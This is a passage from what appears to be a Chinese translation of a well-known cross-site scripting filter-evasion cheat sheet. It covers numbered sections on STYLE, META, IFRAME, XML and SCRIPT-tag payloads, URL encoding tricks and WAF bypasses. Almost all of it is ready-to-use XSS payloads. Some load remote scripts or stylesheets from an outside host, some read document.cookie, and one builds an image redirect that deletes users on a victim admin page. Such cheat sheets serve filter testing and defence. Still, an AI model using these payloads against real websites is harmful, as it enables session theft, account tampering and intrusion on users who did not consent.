这个细微的变化曾经用来攻击谷歌桌面。另一方面,如果在攻击向量后有HTML标签闭合攻击向量,你可以移除末尾的</STYLE>标签。在进行跨站脚本攻击时,如不能同时使用等号或斜杠,这是非常有用的,这种情况在现实世界里不止一次发生了:</p> <blockquote> <p><STYLE>@import'http://xss.rocks/xss.css';</STYLE> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.51.    远程样式表3</h3> <p></p> <p></p> <p>这种方式仅在Opera 8.0(9.x不可以)中有效,但方法比较有创意. 根据RFC2616,设置一个Link头部不是HTTP1.1规范的一部分,但一些浏览器仍然允许这样做 (例如Firefox和  Opera). 这里的技巧是设置一个头部(和普通头部并没有什么区别,只是设置Link: <http://xss.rocks/xss.css>; REL=stylesheet)并且在远程样式表中包含使用了JavaScript的跨站脚本攻击向量,这一点是FireFox不支持的:</p> <blockquote> <p><META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.52.    远程样式表4</h3> <p></p> <p></p> <p>这仅能在Gecko渲染引擎下有效并且需要在父页面绑定一个XML文件。具有讽刺意味的是 Netscape认为Gecko更安全 ,所以对绝大多数网站来说会受到漏洞影响:</p> <blockquote> <p><STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.53.    含有分隔JavaScript的STYLE标签</h3> <p></p> <p></p> <p>这个XSS会在IE中造成无限循环:</p> <blockquote> <p><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.54.    STYLE属性中使用注释分隔表达式</h3> <p></p> <p></p> <p>由Roman Ivanov创建</p> <blockquote> <p><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.55.    含表达式的IMG STYLE</h3> <p></p> <p></p> <p>这是一个将上面XSS攻击向量混合的方法,但确实展示了STYLE标签可以用相当复杂的方式分隔,和上面一样,也会让IE进入死循环:</p> <blockquote> <p>exp/*<A STYLE='no\xss:noxss("*//*");</p> <p>xss:ex/*XSS*//*/*/pression(alert("XSS"))'></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.56.    STYLE标签(仅旧版本Netscape可用)</h3> <blockquote> <p><STYLE TYPE="text/javascript">alert('XSS');</STYLE> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.57.    使用背景图像的STYLE标签</h3> <blockquote> <p><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.58.    使用背景的STYLE标签</h3> <blockquote> <p><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.59.    含STYLE属性的HTML任意标签</h3> <p></p> <p></p> <p>IE6.0和IE渲染引擎模式下的Netscape 8.1+并不关心你建立的HTML标签是否存在,只要是由尖括号和字母开始的即可:</p> <blockquote> <p><XSS STYLE="behavior: url(xss.htc);"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.60.    本地htc文件</h3> <p></p> <p></p> <p>这和上面两个跨站脚本攻击向量有些不同,因为它使用了一个必须和XSS攻击向量在相同服务器上的.htc文件。这个示例文件通过下载JavaScript并将其作为style属性的一部分运行来进行攻击:</p> <blockquote> <p><XSS STYLE="behavior: url(xss.htc);"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.61.    US-ASCII编码</h3> <p></p> <p></p> <p>US-ASCII编码(由Kurt Huwig发现)。它使用了畸形的7位ASCII编码来代替8位。这个XSS攻击向量可以绕过大多数内容过滤器,但是只在主机使用US-ASCII编码传输数据时有效,或者可以自己设置编码格式。相对绕过服务器端过滤,这在绕过WAF跨站脚本过滤时候更有效。Apache Tomcat是目前唯一已知使用US-ASCII编码传输的:</p> <blockquote> <p>¼script¾alert(¢XSS¢)¼/script¾ </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.62.    META</h3> <p></p> <p></p> <p>关于meta刷新比较奇怪的是它并不会在头部中发送一个referrer-所以它通常用于不需要referrer的时候:</p> <blockquote> <p><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p><b>2.62.1 使用数据的META</b></p> <p></p> <p></p> <p>URL scheme指令。这个非常有用因为它并不包含任何可见的SCRIPT单词或JavaScript指令,因为它使用了base64编码.请查看RFC 2397寻找更多细节。你同样可以使用具有Base64编码功能的XSS工具来编码HTML或JavaScript:</p> <blockquote> <p><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p><b>2.62.2 含有额外URL参数的META</b></p> <p></p> <p></p> <p>如果目标站点尝试检查URL是否包含"http://",你可以用以下技术规避它(由Moritz Naumann提交):</p> <blockquote> <p><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.63.    IFRAME</h3> <p></p> <p></p> <p>如果允许Iframe那就会有很多XSS问题:</p> <blockquote> <p><IFRAME SRC="javascript:alert('XSS');"></IFRAME> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.64.    基于事件IFRAME</h3> <p></p> <p></p> <p>Iframes和大多数其他元素可以使用下列事件(由David Cross提交):</p> <blockquote> <p><IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.65.    FRAME</h3> <p></p> <p></p> <p>Frames和iframe一样有很多XSS问题:</p> <blockquote> <p><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.66.    TABLE</h3> <blockquote> <p><TABLE BACKGROUND="javascript:alert('XSS')"> </p> </blockquote> <p></p> <p><b>2.66.1. TD</b></p> <p></p> <p></p> <p>和上面一样,TD也可以通过BACKGROUND来包含JavaScriptXSS攻击向量:</p> <blockquote> <p><TABLE><TD BACKGROUND="javascript:alert('XSS')"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.67.    DIV</h3> <p></p> <p></p> <p><b>2.67.1. DIV背景图像</b></p> <blockquote> <p><DIV STYLE="background-image: url(javascript:alert('XSS'))"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p><b>2.67.2. 含有Unicode XSS利用代码的DIV背景图像</b></p> <p></p> <p></p> <p>这进行了一些修改来混淆URL参数。原始的漏洞是由RenaudLifchitz在Hotmail发现的:</p> <blockquote> <p><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p><b>2.67.3. 含有额外字符的DIV背景图像</b></p> <p></p> <p></p> <p>Rnaske进行了一个快速的XSS模糊测试来发现IE和安全模式下的Netscape 8.1中任何可以在左括号和JavaScript指令间加入的额外字符。这都是十进制的但是你也可以使用十六进制来填充(以下字符可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):</p> <blockquote> <p><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p><b>2.67.4. DIV表达式</b></p> <p></p> <p></p> <p>一个非常有效的对抗现实中的跨站脚本过滤器的变体是在冒号和"expression"之间添加一个换行:</p> <blockquote> <p><DIV STYLE="width: expression(alert('XSS'));"> </p> </blockquote> <h3>2.68.    html 条件选择注释块<br></h3> <p></p> <p></p> <p>只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些网站认为在注释中的任何内容都是安全的并且认为没有必要移除,这就允许我们添加跨站脚本攻击向量。系统会在一些内容周围尝试添加注释标签以便安全的渲染它们。如我们所见,这有时并不起作用:</p> <blockquote> <p><!--[if gte IE 4]></p> <p> <SCRIPT>alert('XSS');</SCRIPT></p> <p> <![endif]--></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.69.    BASE标签</h3> <p></p> <p></p> <p>在IE和安全模式下的Netscape 8.1有效。你需要使用//来注释下个字符,这样你就不会造成JavaScript错误并且你的XSS标签可以被渲染。同样,这需要当前网站使用相对路径例如"images/image.jpg"来放置图像而不是绝对路径。如果路径以一个斜杠开头例如"/images/image.jpg"你可以从攻击向量中移除一个斜杠(只有在两个斜杠时注释才会生效):</p> <blockquote> <p><BASE HREF="javascript:alert('XSS');//"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.70.    OBJECT标签</h3> <p></p> <p></p> <p>如果允许使用OBJECT,你可以插入一个病毒攻击载荷来感染用户,类似于APPLET标签。链接文件实际是含有你XSS攻击代码的HTML文件:</p> <blockquote> <p><OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.71.    使用EMBED标签加载含有XSS的FLASH文件</h3> <p></p> <p></p> <p>如果你添加了属性allowScriptAccess="never"以及allownetworking="internal"则可以减小风险(感谢Jonathan Vanasco提供的信息):</p> <blockquote> <p><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.72.    使用EMBED SVG包含攻击向量</h3> <p></p> <p></p> <p>该示例只在FireFox下有效,但是比上面的攻击向量在FireFox下好,因为不需要用户安装或启用FLASH。感谢nEUrOO提供:</p> <blockquote> <p><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.73.    在FLASH中使用ActionScript混淆XSS攻击向量</h3> <blockquote> <p>a="get";</p> <p>b="URL(\"";</p> <p>c="javascript:";</p> <p>d="alert('XSS');\")";</p> <p>eval(a+b+c+d);</p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3>2.74.    CDATA混淆的XML数据岛</h3> <p></p> <p></p> <p>这个XSS攻击只在IE和使用IE渲染模式的Netscape 8.1下有效-攻击向量由Sec Consult在审计Yahoo时发现</p> <blockquote> <p><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML></p> <p><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.75.    使用XML数据岛生成含内嵌JavaScript的本地XML文件</h3> <p></p> <p></p> <p>这和上面是一样的但是将来源替换为了包含跨站脚本攻击向量的本地XML文件(必须在同一服务器上):</p> <blockquote> <p><XML SRC="xsstest.xml" ID=I></XML></p> <p><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.76.    XML中使用HTML+TIME</h3> <p></p> <p></p> <p>这是Grey Magic攻击Hotmail和Yahoo的方法。这只在IE和IE渲染模式下的Netscape8.1有效并且记得需要在HTML域的BODY标签中间才有效:</p> <blockquote> <p><HTML><BODY> </p> <p><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"></p> <p><?import namespace="t" implementation="#default#time2"></p> <p><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></p> <p></BODY></HTML></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.77.    使用一些字符绕过".js"过滤</h3> <p></p> <p></p> <p>你可以将你的JavaScript文件重命名为图像来作为XSS攻击向量:</p> <blockquote> <p><SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.78.    SSI(服务端脚本包含)</h3> <p></p> <p></p> <p>这需要在服务器端允许SSI来使用XSS攻击向量。似乎不用提示这点,因为如果你可以在服务器端执行指令那一定是有更严重的问题存在:</p> <blockquote> <p><!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.79.    PHP</h3> <p></p> <p></p> <p>需要服务器端安装了PHP来使用XSS攻击向量。同样,如果你可以远程运行任意脚本,那会有更加严重的问题:</p> <blockquote> <p><? echo('<SCR)';</p> <p>echo('IPT>alert("XSS")</SCRIPT>'); ?></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.80.    嵌入命令的IMAGE</h3> <p></p> <p></p> <p>当页面受密码保护并且这个密码保护同样适用于相同域的不同页面时有效,这可以用来进行删除用户,增加用户(如果访问页面的是管理员的话),将密码发送到任意地方等等。。。这是一个较少使用当时更有价值的XSS攻击向量:</p> <blockquote> <p><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> </p> </blockquote> <p><b>2.80.1. 嵌入命令的IMAGE II</b> </p> <p></p> <p></p> <p>这更加可怕因为这不包含任何可疑标识,除了它不在你自己的域名上。这个攻击向量使用一个302或304(其他的也有效)来重定向图片到指定命令。所以一个普通的<IMG SRC="httx://badguy.com/a.jpg">对于访问图片链接的用户来说也有可能是一个攻击向量。下面是利用.htaccess(Apache)配置文件来实现攻击向量。(感谢Timo提供这部分。):</p> <blockquote> <p>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.81.    Cookie篡改</h3> <p></p> <p></p> <p>尽管公认不太实用,但是还是可以发现一些允许使用META标签的情况下可用它来覆写cookie。另外的例子是当用户访问网站页面时,一些网站读取并显示存储在cookie中的用户名,而不是数据库中。当这两种场景结合时,你可以修改受害者的cookie以便将JavaScript注入到其页面中(你可以使用这个让用户登出或改变他们的用户状态,甚至可以让他们以你的账户登录):</p> <blockquote> <p><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.82.    UTF-7编码</h3> <p></p> <p></p> <p>如果存在XSS的页面没有提供页面编码头部,或者使用了任何设置为使用UTF-7编码的浏览器,就可以使用下列方式进行攻击(感谢Roman Ivanov提供)。这在任何不改变编码类型的现代浏览器上是无效的,这也是为什么标记为完全不支持的原因。Watchfire在Google的自定义404脚本中发现这个问题:</p> <blockquote> <p><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.83.    利用HTML引号包含的XSS</h3> <p></p> <p></p> <p>这在IE中测试通过,但还得视情况而定。它是为了绕过那些允许"<SCRIPT>"但是不允许"<SCRIPT SRC..."形式的正则过滤即"/<script[^>]+src/i":</p> <blockquote> <p><SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>这是为了绕过那些允许"<SCRIPT>"但是不允许"<SCRIPTSRC..."形式的正则过滤即" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"(这很重要,因为在实际环境中出现过这种正则过滤):</p> <blockquote> <p><SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>另一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS:</p> <blockquote> <p><SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>又一个绕过正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS。尽管不想提及防御方法,但如果你想允许<SCRIPT>标签但不加载远程脚本,针对这种XSS只能使用状态机去防御(当然如果允许<SCRIPT>标签的话,还有其他方法绕过):</p> <blockquote> <p><SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>最后一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下无效):</p> <blockquote> <p><SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>这是一个XSS样例,用来绕过那些不会检查引号配对,而是发现任何引号就立即结束参数字符串的正则表达式:</p> <blockquote> <p><SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>这个XSS很让人担心,因为如果不过滤所有活动内容几乎不可能防止此攻击:</p> <blockquote> <p><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>2.84.    URL字符绕过</h3> <p></p> <p></p> <p>假定"http://www.google.com/"是不被允许的:</p> <p></p> <p></p> <h3><b>2.84.1. IP代替域名</b></h3> <blockquote> <p><A HREF="http://66.102.7.147/">XSS</A> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3><b>2.84.2. URL编码</b></h3> <blockquote> <p><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> </p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3><b>2.84.3. 双字节编码</b></h3> <p></p> <p></p> <p>(注意:还有另一种双字节编码):</p> <blockquote> <p><A HREF="http://1113982867/">XSS</A> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.4. 十六进制编码</b></h3> <p></p> <p></p> <p>每个数字的允许的范围大概是240位字符,就如你在第二位上看到的,并且由于十六进制是在0到F之间,所以开头的0可以省略:</p> <blockquote> <p><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> </p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.5. 八进制编码</b></h3> <p></p> <p></p> <p>又一次允许填充,尽管你必须保证每类在4位字符以上-例如A类,B类等等:</p> <blockquote> <p> <A HREF="http://0102.0146.0007.00000223/">XSS</A></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.6. 混合编码</b></h3> <p></p> <p></p> <p>让我们混合基本编码并在其中插入一些TAB和换行,虽然不知道浏览器为什么允许这样做。TAB和换行只有被引号包含时才有效:</p> <blockquote> <p><A HREF="h</p> <p>tt p://6 6.000146.0x7.147/">XSS</A></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.7. 协议解析绕过</b></h3> <p></p> <p></p> <p>(// 替代http://可以节约很多字节).当输入空间有限时很有用(少两个字符可能解决大问题) 而且可以轻松绕过类似"(ht|f)tp(s)?://"的正则过滤(感谢Ozh提供这部分).你也可以将"//"换成"\\"。你需要保证斜杠在正确的位置,否则可能被当成相对路径URL:</p> <blockquote> <p><A HREF="//www.google.com/">XSS</A></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.8. Google的"feeling lucky"功能1</b></h3> <p></p> <p></p> <p>Firefox使用Google的"feeling lucky"功能根据用户输入的任何关键词来将用户重定向。如果你存在漏洞的页面在某些随机关键词上搜索引擎排名是第一的,你就可以利用这一特性来攻击FireFox用户。这使用了Firefox的"keyword:"协议。你可以像下面一样使用多个关键词"keyword:XSS+RSnake"。这在Firefox2.0后不再有效.</p> <blockquote> <p><A HREF="//google">XSS</A></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.9. Google的"feeling lucky"功能2</b></h3> <p></p> <p></p> <p>这使用了一个仅在FireFox上有效的小技巧,因为它实现了"feelinglucky"功能。不像下面一个例子,这个在Opera上无效因为Opera会认为只是一个老式的HTTP基础认证钓鱼攻击,但它并不是。它只是一个畸形的URL。如果你点击了对话框的确定,它就可以生效。但是在Opera上会是一个错误对话框,所以认为其不被Opera所支持,同样在Firefox2.0后不再有效。</p> <blockquote> <p><A HREF="http://ha.ckers.org@google">XSS</A></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.10.      Google的"feeling lucky"功能3</b></h3> <p></p> <p></p> <p>这是一个畸形的URL只在FireFox和Opera下有效,因为它们实现了"feeling lucky"功能。像上面的例子一样,它要求你的攻击页面在Google上特定关键词排名第一(在这个示例里关键词是"google")</p> <blockquote> <p><A HREF="http://google:ha.ckers.org">XSS</A></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.11.      移除别名</b></h3> <p></p> <p></p> <p>当结合上面的URL,移除"www."会节约4个字节,总共为正确设置的服务器节省9字节:</p> <blockquote> <p><A HREF="http://google.com/">XSS</A></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>2.84.12.      绝对DNS名称后额外的点</b></h3> <blockquote> <p><A HREF="http://www.google.com./">XSS</A></p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3><b>2.84.13.      JavaScriptlink location</b></h3> <blockquote> <p><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></p> </blockquote> <h3> </h3> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <h3> </h3> <p></p> <h3><b>2.84.14.      内容替换作为攻击向量</b></h3> <p></p> <p></p> <p>假设"http://www.google.com/"会自动替换为空。我实际使用过类似的攻击向量即通过使用转换过滤器本身(示例如下)来帮助构建攻击向量以对抗现实世界的XSS过滤器:</p> <blockquote> <p><A HREF="http://www.google.com/ogle.com/">XSS</A></p> </blockquote> <h3>2.85.    字符转义表<br></h3> <p></p> <p></p> <p>下面是HTML和JavaScript中字符“<”的所有可能组合。其中大部分不会被渲染出来,但其中许多可以在某些情况下呈现出来。:</p> <blockquote> <p><</p> <p>%3C</p> <p>&lt</p> <p>&lt;</p> <p>&LT</p> <p>&LT;</p> <p>&#60</p> <p>&#060</p> <p>&#0060</p> <p>&#00060</p> <p>&#000060</p> <p>&#0000060</p> <p>&#60;</p> <p>&#060;</p> <p>&#0060;</p> <p>&#00060;</p> <p>&#000060;</p> <p>&#0000060;</p> <p>&#x3c</p> <p>&#x03c</p> <p>&#x003c</p> <p>&#x0003c</p> <p>&#x00003c</p> <p>&#x000003c</p> <p>&#x3c;</p> <p>&#x03c;</p> <p>&#x003c;</p> <p>&#x0003c;</p> <p>&#x00003c;</p> <p>&#x000003c;</p> <p>&#X3c</p> <p>&#X03c</p> <p>&#X003c</p> <p>&#X0003c</p> <p>&#X00003c</p> <p>&#X000003c</p> <p>&#X3c;</p> <p>&#X03c;</p> <p>&#X003c;</p> <p>&#X0003c;</p> <p>&#X00003c;</p> <p>&#X000003c;</p> <p>&#x3C</p> <p>&#x03C</p> <p>&#x003C</p> <p>&#x0003C</p> <p>&#x00003C</p> <p>&#x000003C</p> <p>&#x3C;</p> <p>&#x03C;</p> <p>&#x003C;</p> <p>&#x0003C;</p> <p>&#x00003C;</p> <p>&#x000003C;</p> <p>&#X3C</p> <p>&#X03C</p> <p>&#X003C</p> <p>&#X0003C</p> <p>&#X00003C</p> <p>&#X000003C</p> <p>&#X3C;</p> <p>&#X03C;</p> <p>&#X003C;</p> <p>&#X0003C;</p> <p>&#X00003C;</p> <p>&#X000003C;</p> <p>\x3c</p> <p>\x3C</p> <p>\u003c</p> <p>\u003C</p> <p></p> </blockquote> <h2>3.绕过WAF的方法</h2> <p></p> <p></p> <p>通用问题</p> <p></p> <p></p> <p>• 存储型XSS</p> <p></p> <p></p> <p>如果攻击者已经让XSS绕过过滤器,WAF无法阻止攻击透过。</p> <p></p> <p></p> <p>•基于JavaScript的反射型XSS</p> <blockquote> <p>示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script></p> <p>利用: /?xss=500); alert(document.cookie);//</p> <p></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>•基于DOM的XSS</p> <blockquote> <p>示例: <script> ... eval($_GET[xss]); ... </script></p> <p>利用: /?xss=document.cookie</p> <p></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3><b>通过请求重定向构造XSS</b></h3> <p></p> <p></p> <p>•存在漏洞代码:</p> <blockquote> <p>...</p> <p> header('Location: '.$_GET['param']);</p> <p>...</p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>同样包括:</p> <blockquote> <p>...</p> <p> header('Refresh: 0; URL='.$_GET['param']);</p> <p>...</p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>•这种请求不会绕过WAF:</p> <blockquote> <p>/?param=javascript:alert(document.cookie)</p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p>•这种请求可以绕过WAF并且XSS攻击可以在某些浏览器执行:</p> <blockquote> <p>/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=</p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <p><b>绕过</b>WAF可用<b>字符串.</b></p> <blockquote> <p><Img src = x onerror = "javascript: window.onerror = alert; throw XSS"></p> <p><Video> <source onerror = "javascript: 